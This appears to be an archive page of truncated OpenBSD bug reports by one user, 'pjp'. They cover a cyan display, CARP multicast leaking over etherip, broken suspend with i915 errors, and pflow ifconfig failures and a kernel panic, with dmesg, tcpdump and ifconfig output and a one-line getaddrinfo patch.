FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,RDTSCP,LONG,LAHF,PERF,ITSC,FSGSBASE,SMEP,ERMS,IBRS,IBPB,STIBP,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu0: 256KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges
cpu0: apic clock running at 99MHz
cpu0: mwait min=64, max=64, C-substates=0.2.1.1.2, IBE
cpu1 at mainbus0: apid 2 (application processor)
cpu1: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu1: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,RDTSCP,LONG,LAHF,PERF,ITSC,FSGSBASE,SMEP,ERMS,IBRS,IBPB,STIBP,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu1: 256KB 64b/line 8-way L2 cache
cpu1: smt 0, core 1, package 0
cpu2 at mainbus0: apid 4 (application processor)
cpu2: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu2: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,RDTSCP,LONG,LAHF,PERF,ITSC,FSGSBASE,SMEP,ERMS,IBRS,IBPB,STIBP,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu2: 256KB 64b/line 8-way L2 cache
cpu2: smt 0, core 2, package 0
cpu3 at mainbus0: apid 6 (application processor)
cpu3: Intel(R) Core(TM) i7-3615QM CPU @ 

[no subject]

[pjp]

>Synopsis:  Monitor display is cyan/white
>Category:  system
>Environment:
System  : OpenBSD 6.3
Details : OpenBSD 6.3-current (GENERIC.MP) #27: Sun Jun 17 13:53:55 
MDT 2018
 
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
I updated to a snapshot on this machine today.  And the monitor
went cyan.  Please see picture:
 http://centroid.eu/private/p6180004.jpg
>How-To-Repeat:
No idea.
>Fix:
Not a clue.


dmesg:
OpenBSD 6.3-current (GENERIC.MP) #27: Sun Jun 17 13:53:55 MDT 2018
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 4259340288 (4062MB)
avail mem = 4083118080 (3893MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.6 @ 0xeafb0 (100 entries)
bios0: vendor American Megatrends Inc. version "E7728MLN.209" date 12/22/2011
bios0: MEDIONPC MS-7728
acpi0 at bios0: rev 2
acpi0: sleep states S0 S1 S3 S4 S5
acpi0: tables DSDT FACP APIC SSDT MCFG SLIC HPET
acpi0: wakeup devices BR20(S3) EUSB(S3) USBE(S3) PEX0(S4) RTL_(S1) PEX1(S4) 
PEX2(S4) PEX3(S4) PEX4(S4) PEX5(S4) PEX6(S4) PEX7(S4) P0P1(S4) P0P2(S3) 
P0P3(S3) P0P4(S3) [...]
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Core(TM) i3-2120 CPU @ 3.30GHz, 3293.03 MHz
cpu0: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,POPCNT,DEADLINE,XSAVE,AVX,NXE,RDTSCP,LONG,LAHF,PERF,ITSC,IBRS,IBPB,STIBP,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu0: 256KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges
cpu0: apic clock running at 99MHz
cpu0: mwait min=64, max=64, C-substates=0.2.1.1, IBE
cpu1 at mainbus0: apid 2 (application processor)
cpu1: Intel(R) Core(TM) i3-2120 CPU @ 3.30GHz, 3292.52 MHz
cpu1: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,POPCNT,DEADLINE,XSAVE,AVX,NXE,RDTSCP,LONG,LAHF,PERF,ITSC,IBRS,IBPB,STIBP,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu1: 256KB 64b/line 8-way L2 cache
cpu1: smt 0, core 1, package 0
cpu2 at mainbus0: apid 1 (application processor)
cpu2: Intel(R) Core(TM) i3-2120 CPU @ 3.30GHz, 3292.52 MHz
cpu2: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,POPCNT,DEADLINE,XSAVE,AVX,NXE,RDTSCP,LONG,LAHF,PERF,ITSC,IBRS,IBPB,STIBP,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu2: 256KB 64b/line 8-way L2 cache
cpu2: smt 1, core 0, package 0
cpu3 at mainbus0: apid 3 (application processor)
cpu3: Intel(R) Core(TM) i3-2120 CPU @ 3.30GHz, 3292.52 MHz
cpu3: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,POPCNT,DEADLINE,XSAVE,AVX,NXE,RDTSCP,LONG,LAHF,PERF,ITSC,IBRS,IBPB,STIBP,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu3: 256KB 64b/line 8-way L2 cache
cpu3: smt 1, core 1, package 0
ioapic0 at mainbus0: apid 0 pa 0xfec0, version 20, 24 pins
acpimcfg0 at acpi0 addr 0xe000, bus 0-255
acpihpet0 at acpi0: 14318179 Hz
acpiprt0 at acpi0: bus 0 (PCI0)
acpiprt1 at acpi0: bus 2 (PEX0)
acpiprt2 at acpi0: bus -1 (PEX1)
acpiprt3 at acpi0: bus -1 (PEX2)
acpiprt4 at acpi0: bus -1 (PEX3)
acpiprt5 at acpi0: bus 3 (PEX4)
acpiprt6 at acpi0: bus 4 (PEX5)
acpiprt7 at acpi0: bus -1 (PEX6)
acpiprt8 at acpi0: bus -1 (PEX7)
acpiprt9 at acpi0: bus 1 (P0P1)
acpiprt10 at acpi0: bus -1 (P0P2)
acpiprt11 at acpi0: bus -1 (P0P3)
acpiprt12 at acpi0: bus -1 (P0P4)
acpicpu0 at acpi0: C3(350@104 mwait.3@0x20), C1(1000@1 halt), PSS
acpicpu1 at acpi0: C3(350@104 mwait.3@0x20), C1(1000@1 halt), PSS
acpicpu2 at acpi0: C3(350@104 mwait.3@0x20), C1(1000@1 halt), PSS
acpicpu3 at acpi0: C3(350@104 mwait.3@0x20), C1(1000@1 halt), PSS
acpicmos0 at acpi0
"INT3F0D" at acpi0 not configured
acpibtn0 at acpi0: PWRB
cpu0: Enhanced SpeedStep 3293 MHz: speeds: 3300, 3100, 2900, 2700, 2500, 2300, 
2100, 1900, 1700, 1600 MHz
pci0 at mainbus0 bus 0
pchb0 at pci0 dev 0 function 0 "Intel Core 2G Host" rev 0x09
ppb0 at pci0 dev 1 function 0 "Intel Core 2G PCIE" rev 0x09: msi
pci1 at ppb0 bus 1
radeondrm0 at pci1 dev 0 function 0 "ATI Radeon HD 6450" rev 0x00
drm0 at radeondrm0
radeondrm0: msi
azalia0 at pci1 dev 0 function 1 "ATI Radeon HD 6400 Audio" rev 0x00: msi
azalia0: no supported codecs
"Intel 6 Series MEI" rev 0x04 at pci0 dev 22 function 0 not configured
ehci0 at pci0 dev 26 function 0 "Intel 6 

etherip0 leaks Multicast (CARP)

[pjp]

>Synopsis:  An etherip(4) interface in down state routes multicast carp
>Category:  system
>Environment:
System  : OpenBSD 6.2
Details : OpenBSD 6.2-current (GENERIC.MP) #2: Tue Oct 17 10:22:53 
CEST 2017
 
p...@beta.virgostar.net:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
Hi, mpi@ asked me to file a bug report with a full dmesg and ifconfig
output.

When I put a etherip0 in down state and monitor on etherip1 I see
carp multicast from the etherip0 interface.  Please see the tcpdumps:

>
beta# tcpdump -v -n -i etherip0
tcpdump: listening on etherip0, link-type EN10MB
11:53:31.486388 carp 172.16.65.6 > 224.0.0.18: CARPv2-advertise 36: vhid=1 advba
se=1 advskew=0 demote=0 (DF) [tos 0x10] (ttl 255, id 46836, len 56)
11:53:31.486392 carp 172.16.65.6 > 224.0.0.18: CARPv2-advertise 36: vhid=1 advba
se=1 advskew=0 demote=0 (DF) [tos 0x10] (ttl 255, id 46836, len 56)
11:53:33.506343 carp 172.16.65.6 > 224.0.0.18: CARPv2-advertise 36: vhid=1 advba
se=1 advskew=0 demote=0 (DF) [tos 0x10] (ttl 255, id 35402, len 56)
11:53:33.506347 carp 172.16.65.6 > 224.0.0.18: CARPv2-advertise 36: vhid=1 advba
se=1 advskew=0 demote=0 (DF) [tos 0x10] (ttl 255, id 35402, len 56)
^C
4 packets received by filter
0 packets dropped by kernel
beta# ifconfig etherip0 down
beta# tcpdump -v -n -i etherip1
tcpdump: listening on etherip1, link-type EN10MB
11:53:53.706451 carp 172.16.65.6 > 224.0.0.18: CARPv2-advertise 36: vhid=1 advba
se=1 advskew=0 demote=0 (DF) [tos 0x10] (ttl 255, id 17011, len 56)
11:53:55.726995 carp 172.16.65.6 > 224.0.0.18: CARPv2-advertise 36: vhid=1 advba
se=1 advskew=0 demote=0 (DF) [tos 0x10] (ttl 255, id 29314, len 56)
^C
2 packets received by filter
0 packets dropped by kernel
<-

Also I'm providing a full ifconfig output:

-->

lo0: flags=8049 mtu 32768
index 4 priority 0 llprio 3
groups: lo
inet6 ::1 prefixlen 128
inet6 fe80::1%lo0 prefixlen 64 scopeid 0x4
inet 127.0.0.1 netmask 0xff00
em0: flags=8843 mtu 1500
lladdr bc:ee:7b:dd:2e:5a
index 1 priority 0 llprio 3
media: Ethernet autoselect (1000baseT 
full-duplex,master,rxpause,txpause)
status: active
inet 192.168.34.4 netmask 0xff00 broadcast 192.168.34.255
em1: flags=8802 mtu 1500
lladdr bc:ee:7b:dd:2e:5b
index 2 priority 0 llprio 3
media: Ethernet autoselect (none)
status: no carrier
enc0: flags=0<>
index 3 priority 0 llprio 3
groups: enc
status: active
vether0: flags=8843 mtu 1500
lladdr fe:e1:ba:d0:ab:06
index 5 priority 0 llprio 3
groups: vether
media: Ethernet autoselect
status: active
inet 10.0.0.1 netmask 0x
vether1: flags=8843 mtu 1500
lladdr fe:e1:ba:d1:73:d5
index 6 priority 0 llprio 3
groups: vether
media: Ethernet autoselect
status: active
inet 10.0.0.2 netmask 0x
vether2: flags=8843 mtu 1500
lladdr fe:e1:ba:d2:14:db
index 7 priority 0 llprio 3
groups: vether
media: Ethernet autoselect
status: active
inet 10.0.0.3 netmask 0x
vether3: flags=8843 mtu 1500
lladdr fe:e1:ba:d3:31:90
index 8 priority 0 llprio 3
groups: vether
media: Ethernet autoselect
status: active
inet 172.30.255.1 netmask 0x
vxlan0: flags=8843 mtu 1500
lladdr fe:e1:ba:d4:2f:9c
index 9 priority 0 llprio 3
encap: vnetid 9
groups: vxlan egress
media: Ethernet autoselect
status: active
tunnel: inet 192.168.34.4 -> 192.168.70.2
inet 192.168.65.2 netmask 0xff00 broadcast 192.168.65.255
inet6 fe80::fce1:baff:fed4:2f9c%vxlan0 prefixlen 64 scopeid 0x9
inet6 2001:db8:0:1::312 prefixlen 64
gif0: flags=8051 mtu 1280
index 10 priority 0 llprio 3
groups: gif
tunnel: inet 192.168.34.4 -> 192.168.70.2
inet 192.168.66.2 --> 192.168.66.1 netmask 0xff00
pflog0: flags=141 mtu 33136
index 11 priority 0 llprio 3
groups: pflog
vether4: flags=8943 mtu 1500
lladdr fe:e1:ba:d6:34:9c
index 29 priority 0 llprio 3
groups: vether
media: Ethernet autoselect
status: active
inet 172.16.65.1 netmask 0xff00 broadcast 172.16.65.255
etherip0: flags=8902 mtu 1500

Sleeping broken in 6.2

[pjp]

>Synopsis:  Sleeping broken in 6.2
>Category:  kernel
>Environment:
System  : OpenBSD 6.2
Details : OpenBSD 6.2 (GENERIC.MP) #134: Tue Oct  3 21:22:29 MDT 
2017
 
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
On this hardware, I used to always sleep over night (zzz).  This seems
broken, as I can't get any video after wakeing it on keyboard.  So it
may even be a video bug not really a sleep thing.  Since I have a 2
tier electricity plan (day / night) it doesn't really hurt to not
sleep at night (only 12 cents per KWh or so), but in the grand scheme
of the environment this is wasteful.  The reason I hint on a video
bug is because the video did complain last boot cycle about something
but that is not caught in this new dmesg unfortunately.  Here is a
syslog from after I woke it this morning before I power cycled the box:
-->

Oct 12 08:56:13 beta /bsd: WARNING !power_domains->domain_use_count[domain] 
failed at /usr/src/sys/dev/pci/drm/i915/intel_runtime_pm.c:1467
Oct 12 08:56:13 beta /bsd: WARNING !power_well->count failed at 
/usr/src/sys/dev/pci/drm/i915/intel_runtime_pm.c:1471
Oct 12 08:56:13 beta /bsd: WARNING pll->active == 0 failed at 
/usr/src/sys/dev/pci/drm/i915/intel_display.c:1947
Oct 12 08:56:13 beta /bsd: Unclaimed register detected after reading register 
0x70008
Oct 12 08:56:13 beta /bsd: WARNING !power_well->count failed at 
/usr/src/sys/dev/pci/drm/i915/intel_runtime_pm.c:1471
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_uncore_check_errors] 
*ERROR* Unclaimed register before interrupt
Oct 12 08:56:13 beta last message repeated 16 times
Oct 12 08:56:13 beta /bsd: vblank wait timed out on crtc 0
Oct 12 08:56:13 beta /bsd: attached crtc is active, but connector isn't
Oct 12 08:56:13 beta /bsd: crtc active state doesn't match with hw state 
(expected 1, found 0)
Oct 12 08:56:13 beta /bsd: [ENCODER:48] active 0 with crtc active 1
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_hdisplay (expected 1920, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_htotal (expected 2200, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_hblank_start (expected 1920, found 
0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_hblank_end (expected 2200, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_hsync_start (expected 2008, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_hsync_end (expected 2052, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_vdisplay (expected 1080, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_vtotal (expected 1125, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_vblank_start (expected 1080, found 
0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_vblank_end (expected 1125, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_vsync_start (expected 1084, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.crtc_vsync_end (expected 1089, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in pixel_multiplier (expected 1, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in has_hdmi_sink (expected 1, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in has_infoframe (expected 1, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.flags(DRM_MODE_FLAG_PHSYNC) (expected 1, 
found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in base.adjusted_mode.flags(DRM_MODE_FLAG_PVSYNC) (expected 4, 
found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in pipe_src_w (expected 1920, found 0)
Oct 12 08:56:13 beta /bsd: error: [drm:pid55420:intel_pipe_config_compare] 
*ERROR* mismatch in pipe_src_h (expected 1080, found 0)
Oct 12 

ifconfig'ing an IPv6 pflow address stopped working

[pjp]

>Synopsis:  ifconfig'ing pflow address stopped working at one point
>Category:  system
>Environment:
System  : OpenBSD 6.1
Details : OpenBSD 6.1 (GENERIC.MP) #8: Tue Jun 27 08:50:26 CEST 2017
 
rob...@syspatch-61-amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
I got errors with ifconfig'ing the following hostname.if:

venus$ more /etc/hostname.pflow0
flowsrc [2001:db8:0:10::202] flowdst [2001:db8:0:10::352]:12345 pflowproto 5

>How-To-Repeat:
give it a try, it won't work with my attached patch.
>Fix:
We're ifconfig'ing addresses only so why resolve?  AI_NUMERICHOST is added as
a hint. Then it worked for me.
? ifconfig.patch
Index: ifconfig.c
===
RCS file: /cvs/src/sbin/ifconfig/ifconfig.c,v
retrieving revision 1.340
diff -u -p -u -r1.340 ifconfig.c
--- ifconfig.c  21 Mar 2017 07:24:36 -  1.340
+++ ifconfig.c  19 Jul 2017 10:03:33 -
@@ -4510,6 +4510,7 @@ pflow_addr(const char *val, struct socka
bzero(, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_DGRAM; /*dummy*/
+   hints.ai_flags = AI_NUMERICHOST;
 
if ((error = getaddrinfo(ip, port, , )) != 0)
errx(1, "error in parsing address string: %s",


dmesg:
OpenBSD 6.1 (GENERIC.MP) #8: Tue Jun 27 08:50:26 CEST 2017

rob...@syspatch-61-amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 2130575360 (2031MB)
avail mem = 2061385728 (1965MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0
acpi at bios0 not configured
mpbios0 at bios0: Intel MP Specification 1.4
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Genuine Intel(R) CPU @ 1.60GHz, 1600.22 MHz
cpu0: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,MOVBE,NXE,LONG,LAHF,PERF,SENSOR
cpu0: 512KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 8 var ranges, 88 fixed ranges
cpu0: apic clock running at 100MHz
cpu0: mwait min=64, max=64, C-substates=0.2.2.0.2.0.3, IBE
cpu1 at mainbus0: apid 1 (application processor)
cpu1: Genuine Intel(R) CPU @ 1.60GHz, 1599.99 MHz
cpu1: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,MOVBE,NXE,LONG,LAHF,PERF,SENSOR
cpu1: 512KB 64b/line 8-way L2 cache
cpu1: smt 1, core 0, package 0
mpbios0: bus 0 is type PCI   
mpbios0: bus 64 is type ISA   
ioapic0 at mainbus0: apid 0 pa 0xfec0, version 20, 24 pins
cpu0: unknown Enhanced SpeedStep CPU, msr 0x0613101a0600101a
cpu0: using only highest and lowest power states
cpu0: Enhanced SpeedStep 1600 MHz: speeds: 1600, 600 MHz
pci0 at mainbus0 bus 0
pchb0 at pci0 dev 0 function 0 "Intel E600 Host" rev 0x05
pchb1 at pci0 dev 1 function 0 "Intel E600 Config" rev 0x00
ppb0 at pci0 dev 23 function 0 "Intel E600 PCIE" rev 0x00
pci1 at ppb0 bus 1
ppb1 at pci1 dev 0 function 0 "Intel EG20T PCIE" rev 0x01
pci2 at ppb1 bus 2
"Intel EG20T Packet Hub" rev 0x01 at pci2 dev 0 function 0 not configured
"Intel EG20T Ethernet" rev 0x02 at pci2 dev 0 function 1 not configured
"Intel EG20T GPIO" rev 0x01 at pci2 dev 0 function 2 not configured
ohci0 at pci2 dev 2 function 0 "Intel EG20T USB" rev 0x02: apic 0 int 19, 
version 1.0
ohci1 at pci2 dev 2 function 1 "Intel EG20T USB" rev 0x02: apic 0 int 19, 
version 1.0
ohci2 at pci2 dev 2 function 2 "Intel EG20T USB" rev 0x02: apic 0 int 19, 
version 1.0
ehci0 at pci2 dev 2 function 3 "Intel EG20T USB" rev 0x02: apic 0 int 19
usb0 at ehci0: USB revision 2.0
uhub0 at usb0 configuration 1 interface 0 "Intel EHCI root hub" rev 2.00/1.00 
addr 1
"Intel EG20T USB Client" rev 0x02 at pci2 dev 2 function 4 not configured
sdhc0 at pci2 dev 4 function 0 "Intel EG20T SDIO" rev 0x01: apic 0 int 18
sdhc0: SDHC 1.0, 50 MHz base clock
sdmmc0 at sdhc0: 4-bit, sd high-speed, mmc high-speed
sdhc1 at pci2 dev 4 function 1 "Intel EG20T SDIO" rev 0x01: apic 0 int 18
sdhc1: SDHC 1.0, 50 MHz base clock
sdmmc1 at sdhc1: 4-bit, sd high-speed, mmc high-speed
ahci0 at pci2 dev 6 function 0 "Intel EG20T AHCI" rev 0x02: msi, AHCI 1.1
ahci0: port 1: 3.0Gb/s
scsibus1 at ahci0: 32 targets
sd0 at scsibus1 targ 1 lun 0:  SCSI3 0/direct 
fixed naa.500151795931e477
sd0: 76319MB, 512 bytes/sector, 156301488 sectors, thin
ohci3 at pci2 dev 8 function 0 "Intel EG20T USB" rev 0x02: apic 0 int 16, 
version 1.0
ohci4 at pci2 dev 8 function 1 "Intel EG20T USB" rev 0x02: apic 0 int 16, 
version 1.0
ohci5 at pci2 dev 8 function 2 "Intel EG20T USB" rev 0x02: apic 0 int 16, 
version 1.0
ehci1 at pci2 dev 8 function 3 "Intel EG20T USB" rev 0x02: apic 0 int 16
usb1 at ehci1: USB revision 

a pflow interface panics the -current kernel

[pjp]

>Synopsis:  a pflow interface panics the -current kernel
>Category:  kernel
>Environment:
System  : OpenBSD 6.0
Details : OpenBSD 6.0-current (GENERIC.MP) #159: Tue Jan 31 
21:48:51 MST 2017
 
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
When I add a /etc/hostname.pflow0 to any system with the following 
contents:

flowsrc [2001:db8:0:10::202] flowdst [2001:db8:0:10::352]:12345 pflowproto 5

The kernel panics on boot/ifconfig.  Here is the backtrace information:

wsdisplay0: screen 1-5 added (std, vt100 emulation)
panic: netlock: lock not held
Stopped at  Debugger+0x9:   leave
TIDPIDUID PRFLAGS PFLAGS  CPU  COMMAND  
 
*464082  95409  0 0x3  00  ifconfig 
 
Debugger() at Debugger+0x9
panic() at panic+0xfe
rw_assert_wrlock() at rw_assert_wrlock+0x43
rw_exit_write() at rw_exit_write+0x1b
soo_ioctl() at soo_ioctl+0xce
sys_ioctl() at sys_ioctl+0x1b1
syscall() at syscall+0x27b
--- syscall (number 54) ---
end of kernel
end trace frame: 0xa889b755160, count: 8
0xa889b51b05a:
https://www.openbsd.org/ddb.html describes the minimum info required in bug
reports.  Insufficient info makes it difficult to find and fix bugs.
ddb{0}> Debugger() at Debugger+0x9
panic() at panic+0xfe
rw_assert_wrlock() at rw_assert_wrlock+0x43
rw_exit_write() at rw_exit_write+0x1b
soo_ioctl() at soo_ioctl+0xce
sys_ioctl() at sys_ioctl+0x1b1
syscall() at syscall+0x27b
--- syscall (number 54) ---
end of kernel
end trace frame: 0xa889b755160, count: -7
0xa889b51b05a:
ddb{0}>PID TID   PPIDUID  S   FLAGS  WAIT  COMMAND  
 
*95409  464082   2330  0  7 0x3ifconfig
 82550  397717  1 77  30x100090  poll  dhclient
 75486  212090  1  0  30x80  poll  dhclient
  2330  304939  48754  0  30x10008b  pause sh
 48754  344137  1  0  30x10008b  pause sh
 22821  420432  0  0  3 0x14200  bored ttm_swap
 76121  230121  0  0  3 0x14200  pgzerozerothread
 60354  475719  0  0  3 0x14200  aiodoned  aiodoned
 87896  133504  0  0  3 0x14200  syncerupdate
 28849  498134  0  0  3 0x14200  cleaner   cleaner
  9346  241691  0  0  3 0x14200  reaperreaper
 39520  393395  0  0  3 0x14200  pgdaemon  pagedaemon
 3
 504582445  0  0  3 0x14200  bored crynlk
 10046  333897  0  0  3 0x14200  bored crypto
 46425  112178  0  0  3 0x14200  pftm  pfpurge
 44098  270817  0  0  3 0x14200  bored sensors
 39627  224577  0  0  3 0x14200  usbtskusbtask
 39708  262741  0  0  3 0x14200  usbatsk   usbatsk
 987048197  0  0  3  0x40014200  acpi0 acpi0
 34875  336516  0  0  7  0x40014200idle1
 55665  381009  0  0  3 0x14200  bored softnet
 77493   19636  0  0  3 0x14200  bored systqmp
 89690  4
 63785  159328  0  0  3  0x40014200  bored softclock
 17636  200595  0  0  3  0x40014200idle0
 66013  340518  0  0  3 0x14200  bored sbar
 1  364300  0  0  30x82  wait  init
 0   0

>How-To-Repeat:
add the following /etc/hostname.pflow0 and reboot with the -current 
system downloaded from ftp.eu.openbsd.org on Feb 1st, 2017.
>Fix:
unknown.


dmesg:
OpenBSD 6.0-current (GENERIC.MP) #159: Tue Jan 31 21:48:51 MST 2017
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
RTC BIOS diagnostic error 80
real mem = 3987992576 (3803MB)
avail mem = 3862466560 (3683MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.7 @ 0xe3e70 (51 entries)
bios0: vendor Acer version "V1.08" date 12/06/2011
bios0: Acer AO722
acpi0 at bios0: rev 2
acpi0: sleep states S0 S3 S4 S5
acpi0: tables DSDT FACP HPET APIC MCFG BOOT SLIC SSDT SSDT
acpi0: wakeup devices SPB2(S4) GEC_(S4) USB0(S3) USB4(S3) P2P_(S5)
acpitimer0 at acpi0: 3579545 Hz, 32 bits
acpihpet0 at acpi0: 14318180 Hz
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: AMD C-60 APU with Radeon(tm) HD Graphics, 998.34 MHz
cpu0: 
